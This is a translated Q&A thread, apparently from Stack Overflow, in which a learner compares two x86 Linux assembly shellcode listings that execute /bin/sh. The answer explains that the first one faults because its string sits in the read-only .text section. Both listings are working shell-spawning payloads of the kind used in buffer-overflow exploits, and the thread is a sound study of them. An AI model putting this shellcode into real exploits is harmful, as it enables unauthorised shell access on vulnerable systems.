Почему два варианта сборки шеллкода не работают одинаково? - PullRequest
1 голос
/ 14 ноября 2011

Я недавно прочитал, как Алеф Один разбивает стек для удовольствия и получения прибыли, и смотрел «Книгу хеллоуеров».Я играл со следующим ассемблерным кодом:

section .text
    global _start

_start:
    jmp short GotoCall

shellcode:
    pop ebx
    xor eax, eax
    mov [ebx + 7], al
    mov [ebx + 8], ebx
    mov [ebx + 12], eax
    mov al, 0x0b
    lea ecx, [ebx + 8]
    lea edx, [ebx + 12]
    int 80h

    xor eax, eax
    mov al, 0x01
    int 80h

GotoCall:
    Call shellcode
    db '/bin/shJAAAAKKKK'

Когда я прохожу с GDB, я получаю ошибку сегмента каждый раз, когда пытаюсь записать:

mov [ebx + 7], al

Однако, когдаЯ запускаю это, я могу открыть корневую оболочку без segfaulting:

section .text
    global _start

_start:
    xor eax, eax
    push eax
    push 0x68732f2f
    push 0x6e69622f
    mov  ebx, esp
    push eax
    push ebx
    mov  ecx, esp
    xor  edx,edx
    mov  al, 0xb
    int  80h

По сути, они делают то же самое (да, я знаю, что это не так, но я пытаюсь вставить корневую оболочку в обоих).Я работаю на OpenSuse11.4 и у меня отключена рандомизация стека (ASLR) в целях обучения.Есть идеи?

1 Ответ

4 голосов
/ 14 ноября 2011

Вы поместили строку db '/bin/shJAAAAKKKK' в раздел .text, который обычно недоступен для записи.

Если вы введете его в .data, сбой исчезнет, ​​но вам придется получить адрес строки другим способом: он больше не будет сразу следовать за CALL в GotoCall.

...